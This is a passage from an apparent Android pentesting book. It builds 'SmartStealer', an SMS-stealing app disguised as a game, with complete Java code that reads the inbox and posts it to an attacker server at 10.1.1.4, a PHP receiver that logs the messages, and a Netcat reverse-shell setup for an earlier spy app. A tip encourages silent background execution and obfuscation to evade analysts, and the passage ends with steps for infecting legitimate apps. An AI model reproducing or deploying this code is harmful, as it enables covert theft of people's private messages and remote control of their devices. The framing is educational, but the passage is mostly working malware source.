Since the app is dealing with network connections, we need to add the following INTERNET permission to AndroidManifest.xml
:
<uses-permission android:name="android.permission.INTERNET"></uses-permission>
After adding the preceding permission to the AndroidManifest.xml
file, the code should look like this:
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.androidpentesting.smartspy" > <uses-permission android:name="android.permission.INTERNET"></uses-permission> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest>
It's time to run this code on an emulator. Before we do this, start a Netcat listener on the attacker's machine as shown in the following screenshot. This is the machine with IP address 10.1.1.4
, and port 1337
is used for connections:
Now run the application and launch it in an emulator. It should look like this:
Once we run it, the app should make a connection to the server:
We can now run any system command with the privileges of the app that we installed. The following screenshot shows the output of the id
command:
The following figure shows the CPU information on the infected device:
In this section, we are going to see how to write a simple SMS stealer app that reads SMSes from a user's device and sends them to an attacker's server. The idea is to create an app that looks like a simple game. When the user clicks the Start the Game button, it reads the SMSes from the device and sends them to the attacker. Start by creating a new Android Studio project and naming it SmartStealer
.
As mentioned in the introduction, we will have a Start the Game button on the first activity, as shown following:
The following is the code for the activity_main.xml
file, which displays this user interface:
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" android:paddingBottom="@dimen/activity_vertical_margin" tools:context=".MainActivity"> <ImageView android:layout_width="match_parent" android:layout_height="match_parent" android:background="@drawable/curveahead" android:id="@+id/imageView" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Start the Game" android:id="@+id/btnStart" android:layout_alignTop="@+id/imageView" android:layout_centerHorizontal="true" android:layout_marginTop="84dp" /> </RelativeLayout>
As we can see in the preceding excerpt, we have one ImageView
in which we are loading the image as background, and then we have a Button that is used to display the text Start the Game.
Now open up MainActivity.java
and declare an object for the Button
class. Then declare a string variable called sms
, which is going to be used to store messages read from the device later. Additionally, create an object of type ArrayList
class with BasicNameValuePair
. NameValuePair
is a special <Key, Value> pair which is used to represent parameters in HTTP requests. We are using this here, as we need to send SMSes to the server via HTTP requests later. Finally, set up an OnClickListener
event for the button we created. This is used to execute the code whenever this button is clicked:
public class MainActivity extends Activity { Button btn; String sms = ""; ArrayList<BasicNameValuePair> arrayList = new ArrayList<BasicNameValuePair>(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); btn = (Button) findViewById(R.id.btnStart); btn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { //SMS Stealing code here } }); }
As you can see in the preceding excerpt, the skeleton for the SMS stealer app is ready. We now need to add SMS-stealing code within the onClick()
method.
The following is the code for reading SMS from the inbox of an SMS application. The goal is to achieve the following:
content://sms/inbox
Thread thread = new Thread(){ @Override public void run() { Uri uri = Uri.parse("content://sms/inbox"); Cursor cursor = getContentResolver().query(uri,null,null,null,null); int index = cursor.getColumnIndex("body"); while(cursor.moveToNext()){ sms += "From :" + cursor.getString(2) + ":" + cursor.getString(index) + "\n"; } arrayList.add(new BasicNameValuePair("sms",sms)); uploadData(arrayList); } }; thread.start();
Let's understand the preceding code line by line:
Uri
object is usually used to tell a ContentProvider
what we want to access by reference. It is an immutable one-to-one mapping to a specific resource. The method Uri.parse
creates a new Uri object from a properly formatted String:Uri uri = Uri.parse("content://sms/inbox");
SMS
body
and From
fields from the table using a Cursor object. The extracted content is stored in the sms
variable that we declared earlier:Cursor cursor = getContentResolver().query(uri,null,null,null,null); int index = cursor.getColumnIndex("body"); while(cursor.moveToNext()){ sms += "From :" + cursor.getString(2) + ":" + cursor.getString(index) + "\n"; }
ArrayList
object as a basic name value pair using the following line: arrayList.add(new BasicNameValuePair("sms",sms));
uploadData()
method with the ArrayList
object as an argument. This is shown following:uploadData(arrayList);
The following is the piece of code that uploads the SMS to an attacker-controlled server:
private void uploadData(ArrayList<BasicNameValuePair> arrayList) { DefaultHttpClient httpClient = new DefaultHttpClient(); HttpPost httpPost = new HttpPost("http://10.1.1.4/smartstealer/sms.php"); try { httpPost.setEntity(new UrlEncodedFormEntity(arrayList)); httpClient.execute(httpPost); } catch (Exception e) { e.printStackTrace(); } } }
Let's understand the preceding code line by line.
DefaultHttpClient
object:DefaultHttpClient httpClient = new DefaultHttpClient();
HttpPost
object, where we need to specify the URL of the target server. In our case, the following is the URL. We will see the code for the sms.php
file later in this section: http://10.1.1.4/smartstealer/sms.php
uploadData()
method:httpPost.setEntity(new UrlEncodedFormEntity(arrayList));
httpClient.execute(httpPost);
The following is the complete code that we have written within the MainActivity.class
file:
package com.androidpentesting.smartstealer; import android.app.Activity; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.view.View; import android.widget.Button; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.HttpPost; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.message.BasicNameValuePair; import java.util.ArrayList; public class MainActivity extends Activity { Button btn; String sms = ""; ArrayList<BasicNameValuePair> arrayList = new ArrayList<BasicNameValuePair>(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); btn = (Button) findViewById(R.id.btnStart); btn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Thread thread = new Thread(){ @Override public void run() { Uri uri = Uri.parse("content://sms/inbox"); Cursor cursor = getContentResolver().query(uri,null,null,null,null); int index = cursor.getColumnIndex("body"); while(cursor.moveToNext()){ sms += "From :" + cursor.getString(2) + ":" + cursor.getString(index) + "\n"; } arrayList.add(new BasicNameValuePair("sms",sms)); uploadData(arrayList); } }; thread.start(); } }); } private void uploadData(ArrayList<BasicNameValuePair> arrayList) { DefaultHttpClient httpClient = new DefaultHttpClient(); HttpPost httpPost = new HttpPost("http://10.1.1.4/smartstealer/sms.php"); try { httpPost.setEntity(new UrlEncodedFormEntity(arrayList)); httpClient.execute(httpPost); } catch (Exception e) { e.printStackTrace(); } } }
Since the app is dealing with reading SMS and making network connections, we need to add the following permissions to AndroidManifest.xml
:
<uses-permission android:name="android.permission.INTERNET"></uses-permission> <uses-permission android:name="android.permission.READ_SMS"></uses-permission>
After adding the preceding permission to the AndroidManifest.xml
file, the code should look like the following:
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.androidpentesting.smartstealer" > <uses-permission android:name="android.permission.INTERNET"></uses-permission> <uses-permission android:name="android.permission.READ_SMS"></uses-permission> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest>
In the previous section, we used the following URL to send the SMS:
http://10.0.0.31/smartstealer/sms.php
We now need to write the code for receiving SMS on the server side. In simple words, we are now seeing the code for the sms.php
file hosted on the attacker's server.
The following is the complete code for sms.php
:
<?php $sms = $_POST["sms"]; $file = "sms.txt"; $fp =fopen($file,"a") or die("coudnt open"); fwrite($fp,$sms) or die("coudnt"); die("success!"); fclose($fp); ?>
$sms
sms.txt
in append mode using fopen()
sms.txt
file using fwrite()
fclose()
Now, if you launch the application in an emulator/real device and click the Start the Game button, you should see all the SMS from the device's inbox on the attacker's server:
Tip: To give readers an idea about how simple malware can be developed with built-in APIs available in Android, we have discussed the concepts such as using activities and clicking buttons to do some malicious tasks in a simple manner. You can attempt to add broadcast receivers in combination with services in order to execute these malicious functions silently in the background without the user noticing it. It's all up to your imagination and coding skills to develop dangerous real-world malware. In addition to this, obfuscating the code makes it harder for malware analysts to perform static analysis.
Original Android applications can be easily modified and infected with malicious apps. To achieve this, one has to perform the following steps:
smali
folder of the original app.AndroidManifest.xml
file of the original app.